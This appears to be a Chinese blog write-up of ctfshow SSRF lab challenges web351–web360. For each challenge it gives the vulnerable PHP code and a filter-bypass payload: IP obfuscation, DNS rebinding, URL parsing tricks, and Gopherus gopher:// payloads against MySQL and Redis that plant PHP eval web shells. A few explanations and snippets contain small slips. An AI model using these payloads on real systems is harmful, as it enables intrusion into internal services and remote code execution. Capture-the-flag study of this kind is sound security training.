ctfshow——web入门-SSRF

SSRF

服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。

危害
SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件。

内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在SSRF时,通常会造成较大的危害。

web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
//初始化一个cURL会话
$ch=curl_init($url);
//设定返回信息中包含响应信息头
curl_setopt($ch, CURLOPT_HEADER, 0);
//启用时会将头文件的信息作为数据流输出。 
//参数为1表示输出信息头,为0表示不输出

//设定curl_exec()函数将响应结果返回,而不是直接输出
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//参数为1表示$result,为0表示echo $result

//执行一个cURL会话
$result=curl_exec($ch);
//关闭一个curl会话
curl_close($ch);
//输出返回信息  如果CURLOPT_RETURNTRANSFER参数为fasle可省略
echo ($result);
?>

没有过滤,使用file协议读取本地文件

payload:url=http://127.0.0.1/flag.php

web352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

过滤掉了localhost和127.0.0

可以使用非常多的方法绕过

url=http://0x7F.0.0.1/flag.php   16进制
url=http://0177.0.0.1/flag.php    8进制
url=http://0.0.0.0/flag.php
url=http://0/flag.php
url=http://127.127.127.127/flag.php

如使用16进制

web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

过滤更加严格,但可以使用进制变换,和上一题类似

十六进制
url=http://0x7F.0.0.1/flag.php
八进制
url=http://0177.0.0.1/flag.php
10 进制整数格式
url=http://2130706433/flag.php
16 进制整数格式,还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php
还有一种特殊的省略模式
127.0.0.1写成127.1
用CIDR绕过localhost
url=http://127.127.127.127/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php

仍可以使用16进制

web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

这一题过滤了0和1

利用302跳转
如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。
http://xip.io 当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。
DNS Rebinding
对于常见的IP限制,后端服务器可能通过下图的流程进行IP过滤
![[Pasted image 20210125224939.png]]
对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查,利用这个时间差,我们可以进行DNS 重绑定攻击。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:

(1)、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP

(2)、对于获得的IP进行判断,发现为非黑名单IP,则通过验证

(3)、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。

(4)、由于已经绕过验证,所以服务器端返回访问内网资源的结果。
1·修改自己域名的a记录,改成127.0.0.1

2·这个网站a记录指向127.0.0.1 可以直接利用

url=http://sudo.cc/flag.php

payload:url=http://sudo.cc/flag.php

web355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

限制了host长度:小于等于5,使用127.1省略绕过

payload:url=http://127.1/flag.php

web356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

此时的host长度限制为小于等于3

0在 linux 系统中会解析成127.0.0.1在windows中解析成0.0.0.0

payload:url=http://0/flag.php

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');//把值作为 IP 地址来验证。
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?> scheme

这段代码从用户输入的 URL 中获取其 IP 地址,并检查该 IP 是否属于私有地址或保留地址。如果是,则输出 "ip!" 并终止程序;否则,使用 file_get_contents() 函数获取该 URL 对应的内容并输出。

gethostbyname()函数

用域名或者主机名获取地址,操作系统提供的库函数。

成功返回的非空指针指向如下的hostent结构:

filter_var() 函数

通过指定的过滤器过滤变量。

如果成功,则返回已过滤的数据,如果失败,则返回 false。

语法:filter_var(variable, filter, options)

参数描述
variable必需。规定要过滤的变量。
filter可选。规定要使用的过滤器的 ID。                  
options规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。

PHP Filter 函数

PHP Filter 是 PHP 内置的一个扩展模块,提供了一系列过滤器函数,用于对不安全的用户输入数据进行过滤和验证,以防止代码注入、跨站脚本攻击等安全问题。

PHP Filter 扩展模块提供了多种过滤器函数,包括:

  • filter_var():对变量进行过滤和验证;
  • filter_input():对输入变量进行过滤和验证;
  • filter_input_array():对输入变量数组进行过滤和验证;
  • filter_has_var():检查输入变量是否存在;
  • filter_list():获取所有可用的过滤器列表。

这些函数可以使用各种过滤器类型对输入数据进行过滤和验证,包括:

  • FILTER_VALIDATE_BOOLEAN:验证布尔型;
  • FILTER_VALIDATE_EMAIL:验证电子邮件地址;
  • FILTER_VALIDATE_FLOAT:验证浮点型;
  • FILTER_VALIDATE_INT:验证整型;
  • FILTER_VALIDATE_IP:验证 IP 地址;
  • FILTER_VALIDATE_REGEXP:验证正则表达式;
  • FILTER_VALIDATE_URL:验证 URL。

除了上述过滤器类型外,PHP Filter 还提供了一些其他的过滤器类型,例如 FILTER_SANITIZE_STRINGFILTER_SANITIZE_EMAILFILTER_SANITIZE_URL 等,用于对输入数据进行过滤和清理。

这一题需要一个公网ip

利用302跳转和dns重绑定都可以。

dns重绑定就用这个:

dns重绑定

在网站http://ceye.io/注册账号,会自动分配一个域名给你:

payload:http://r.xxxxxx/flag.php
xxx为分配的域名

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

这里的正则表示以http://ctf.开头,以show结尾,即匹配http://ctf.*show

最终payload(127.0.0.1也可以换成其他形式):

url=http://ctf.@127.0.0.1/flag.php?show
url=http://ctf.@127.0.0.1/flag.php#show
 

原理:
如果不在ctf.后面加@,解析url时会把ctf.也解析成host的内容,如果不在show前面加#?,会把show也解析到path中,得不到想要的结果

web359

做这道题之前,需要先下载一些东西

工具下载地址https://github.com/tarunkant/Gopherus

打开工具:python2 gopherus.py --exploit mysql

输入root之后写入一句话木马

gopher://127.0.0.1:3306/_后面的内容需要再urlencode一次,最后得到 :

gopher://127.0.0.1:3306/_%25a5%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2579%2578%2568%2568%2579%2579%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2544%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2561%252e%2570%2568%2570%2501%2500%2500%2500%2501

回到环境中,随便输入账号密码跳转到check.php,然后post传参:returl=xxx(把上面得到的传进去)

然后一句话就写进去了,再访问url/1.php (1.php为我们指定的文件名),然后进行命令执行

web360

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?> 

与上一题相似

python gopherus.py --exploit redis
 
<?php eval($_post[1]);?>

再次编码得到:gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

  • 10
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值